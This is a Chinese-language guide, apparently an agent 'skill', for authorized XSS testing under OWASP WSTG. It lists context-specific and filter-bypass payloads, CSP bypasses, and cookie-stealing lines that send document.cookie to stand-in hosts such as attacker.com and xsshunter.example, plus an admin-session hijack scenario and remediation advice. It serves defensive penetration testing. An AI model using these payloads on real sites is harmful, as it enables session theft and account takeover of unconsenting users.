testing-for-xss-vulnerabilities

测试 XSS 漏洞

何时使用

• 作为 OWASP WSTG 测试的一部分，测试 Web 应用程序的客户端注入漏洞
• 评估所有应用程序功能中输入清理和输出编码的有效性
• 评估内容安全策略（CSP）标头针对 XSS 利用提供的防护
• 通过会话劫持、凭据窃取或钓鱼覆盖向利益相关者演示 XSS 的影响
• 测试单页应用程序（React、Angular、Vue）在客户端路由和渲染中是否存在基于 DOM 的 XSS

请勿在未经书面授权的情况下针对应用程序使用，也请勿用于部署影响真实用户的持久性 XSS 载荷，或从生产环境窃取真实用户会话令牌。

前置条件

• 定义目标 Web 应用程序和可接受测试活动的授权范围
• 带有 XSS 相关扩展（XSS Validator、Reflector、Active Scan++）的 Burp Suite Professional
• 带有开发者工具和 XSS 测试扩展（HackBar、XSS Hunter）的浏览器
• 用于带外载荷验证的 XSS Hunter 或 Burp Collaborator
• 用于 WAF 绕过场景的 SecLists XSS 载荷列表和自定义载荷

法律声明： 本技能仅用于经授权的安全测试和教育目的。未经授权对您不拥有或没有书面许可测试的系统使用属于违法行为，可能违反计算机欺诈相关法律。

工作流

步骤 1：输入和输出映射

映射用户输入进入并由应用程序渲染的每个位置：

• 反射型输入：测试响应中反射的每个 URL 参数、搜索字段、错误消息和 HTTP 标头值
• 存储型输入：识别会保存输入并在之后显示的功能：用户资料、评论、论坛帖子、文件名、支持工单和聊天消息
• DOM 输入：识别从 location.hash、location.search、document.referrer、window.name、postMessage 或 localStorage 读取并写入 DOM 的客户端 JavaScript
• 输出上下文识别：对于每个反射型输入，确定其渲染上下文：
  • HTML 正文：<div>USER_INPUT</div>
  • HTML 属性：<input value="USER_INPUT">
  • JavaScript 字符串：var x = 'USER_INPUT';
  • URL 上下文：<a href="USER_INPUT">
  • CSS 上下文：<div style="color: USER_INPUT">

步骤 2：反射型 XSS 测试

使用适合上下文的载荷测试反射型注入点：

• HTML 正文上下文：<script>alert(document.domain)</script>、<img src=x onerror=alert(1)>、<svg onload=alert(1)>
• HTML 属性上下文：" onfocus=alert(1) autofocus="、" onmouseover=alert(1) "、"><script>alert(1)</script>
• JavaScript 字符串上下文：';alert(1)//、\';alert(1)//、</script><script>alert(1)</script>
• URL/href 上下文：javascript:alert(1)、data:text/html,<script>alert(1)</script>
• HTML 注释内：--><script>alert(1)</script><!--
• 过滤器绕过载荷（当基本载荷被阻止时）：
  • 大小写变体：<ScRiPt>alert(1)</sCrIpT>
  • 事件处理器：<details open ontoggle=alert(1)>
  • SVG：<svg><animate onbegin=alert(1) attributeName=x>
  • 编码：<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

第 3 步：存储型 XSS 测试

测试会将输入渲染给其他用户的持久化存储点：

• 向第 1 步中识别出的每个存储型输入字段提交 XSS payload
• 在每个 payload 中使用唯一标识符，以追踪哪些输入会触发：<script>alert('XSS-PROFILE-001')</script>
• 检查存储输入被渲染的所有位置（同一输入可能出现在多个页面上）
• 使用包含 JavaScript 的 HTML 文件、嵌入脚本的 SVG 文件以及包含 XSS payload 的文件名测试文件上传功能
• 通过原始 HTML 模式注入 payload，或在客户端编辑器完成净化后操纵 POST 数据，以此测试富文本编辑器
• 对于会在你无法直接访问的管理面板或内部工具中触发的盲存储型 XSS，使用 XSS Hunter payload（"><script src=https://yourxsshunter.xss.ht></script>）

第 4 步：基于 DOM 的 XSS 测试

分析客户端 JavaScript 中不安全的 DOM 操作：

• 源识别：在 JavaScript 中搜索读取攻击者可控输入的危险源：
  • document.location、document.URL、document.referrer
  • location.hash、location.search、location.href
  • window.name、postMessage 事件数据
• 汇识别：搜索写入 DOM 的危险汇：
  • innerHTML、outerHTML、document.write()、document.writeln()
  • eval()、setTimeout()、setInterval()、Function()
  • 带事件处理器的 element.setAttribute()、jQuery.html()、.append()、v-html（Vue）、dangerouslySetInnerHTML（React）
• 追踪数据流：沿着从源到汇的路径追踪。如果用户可控输入未经适当净化就到达危险汇，则存在 DOM XSS。
• 框架特定测试：测试 React dangerouslySetInnerHTML、Angular 模板注入（{{constructor.constructor('alert(1)')()}}）、Vue v-html 指令

第 5 步：CSP 绕过与高级利用

测试内容安全策略的有效性并演示真实世界影响：

• CSP 分析：检查 CSP 头部的弱点：
  • script-src 中的 unsafe-inline 允许内联脚本
  • unsafe-eval 允许 eval() 及类似函数
  • 通配符域（*.googleapis.com）可能托管可用于绕过 CSP 的 JSONP 端点
  • 未设置 base-uri 允许注入 <base> 标签以重定向相对脚本加载
• JSONP 绕过：如果 CSP 允许某个带有 JSONP 端点的域，使用 <script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script>
• 影响演示：
  • 会话劫持：<script>new Image().src="https://attacker.com/steal?c="+document.cookie</script>
  • 凭据钓鱼：注入一个伪造的登录表单覆盖层，将其提交到攻击者的服务器
  • 键盘记录：注入捕获页面上按键的 JavaScript
  • 账户接管：利用 XSS 更改受害者的电子邮件地址并触发密码重置

关键概念

术语	定义
反射型 XSS	非持久型 XSS，注入的 payload 包含在服务器对同一请求的响应中，需要受害者点击精心构造的 URL
存储型 XSS	持久型 XSS，payload 保存在服务器上并 serve 给查看受影响页面的其他用户
基于 DOM 的 XSS	完全发生在浏览器中的 XSS，当客户端 JavaScript 读取攻击者可控数据并将其写入危险 DOM 汇时发生
内容安全策略	HTTP 响应头，限制浏览器可从哪些源加载脚本、样式和其他资源，为 XSS 提供纵深防御
输出编码	将特殊字符转换为其 HTML 实体等价物（例如 < 转换为 &lt;），以防止浏览器将用户输入解释为代码
汇	如果攻击者可控数据未经净化到达其中，可能导致代码执行或 HTML 渲染的 JavaScript 函数或 DOM 属性

工具与系统

• Burp Suite Professional：HTTP 代理，可主动扫描反射型和存储型 XSS，并提供 Repeater 和 Intruder 用于手动测试 payload
• XSS Hunter：托管服务，生成的 payload 被触发时会回传截图、Cookie 和 DOM 内容，对盲存储型 XSS 至关重要
• DOMPurify：开发者用于防止 XSS 的客户端净化库；测试人员应针对已部署版本测试绕过技术
• 浏览器开发者工具：Console、Network 和 Elements 标签页，用于追踪基于 DOM 的 XSS 数据流并实时测试 payload

常见场景

场景：客户支持工单系统中的存储型 XSS

背景：某电商平台有一个客户支持系统，客户提交的工单由支持 Agent 在内部管理面板中查看。工单提交表单接受 HTML 格式。

方法：

1. 在工单描述中提交一个带有唯一 XSS Hunter payload 的支持工单
2. 当支持 Agent 在管理面板中查看工单时，payload 触发，回传包含该 Agent 的会话 Cookie、页面 DOM 和截图的回调
3. 使用捕获的管理员会话 Cookie 以支持 Agent 身份访问管理面板
4. 从管理面板访问客户记录、订单数据和退款功能
5. 记录攻击链：客户提交工单 -> Agent 查看工单 -> XSS 触发 -> 会话被盗 -> 管理面板被入侵
6. 测试 CSP 是否能阻止该攻击（在本例中，不存在 CSP 响应头）

陷阱：

• 只测试 <script>alert(1)</script>，而遗漏通过事件处理器或在非 HTML 上下文中触发的 XSS
• 未测试渲染给管理用户的功​​能（支持工单、管理员查看的用户资料）中的存储型 XSS
• 忽略单页应用中的基于 DOM 的 XSS，即服务端代码安全但客户端渲染存在漏洞
• 未检查可能被记录并渲染在管理仪表板中的 HTTP 响应头（Referer、User-Agent）中的 XSS

输出格式

## Finding: Stored XSS in Support Ticket Description

**ID**: XSS-002
**Severity**: High (CVSS 8.1)
**Affected URL**: POST /api/tickets (submission), GET /admin/tickets/8847 (trigger)
**Parameter**: description (POST body)
**XSS Type**: Stored (persistent)

**Description**:
The support ticket description field does not sanitize HTML input before storing
it in the database. When a support agent views the ticket in the admin panel, the
unsanitized HTML is rendered in the agent's browser, allowing arbitrary JavaScript
execution in the context of the admin application.

**Proof of Concept**:
Submitted ticket with payload:
<img src=x onerror="fetch('https://xsshunter.example/callback?c='+document.cookie)">

The payload fired when the agent viewed the ticket, exfiltrating the admin session
cookie to the XSS Hunter server.

**Impact**:
An attacker can steal the session tokens of support agents and administrators,
gaining access to the admin panel with privileges to view customer PII, process
refunds, and modify orders. Affects all 23 support agents who view customer tickets.

**Remediation**:
1. Implement output encoding using a context-aware library (OWASP Java Encoder,
   DOMPurify for client-side rendering)
2. Deploy Content Security Policy header:
   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
3. Set HttpOnly flag on session cookies to prevent JavaScript access
4. Sanitize HTML input server-side using a whitelist approach (allow only safe tags)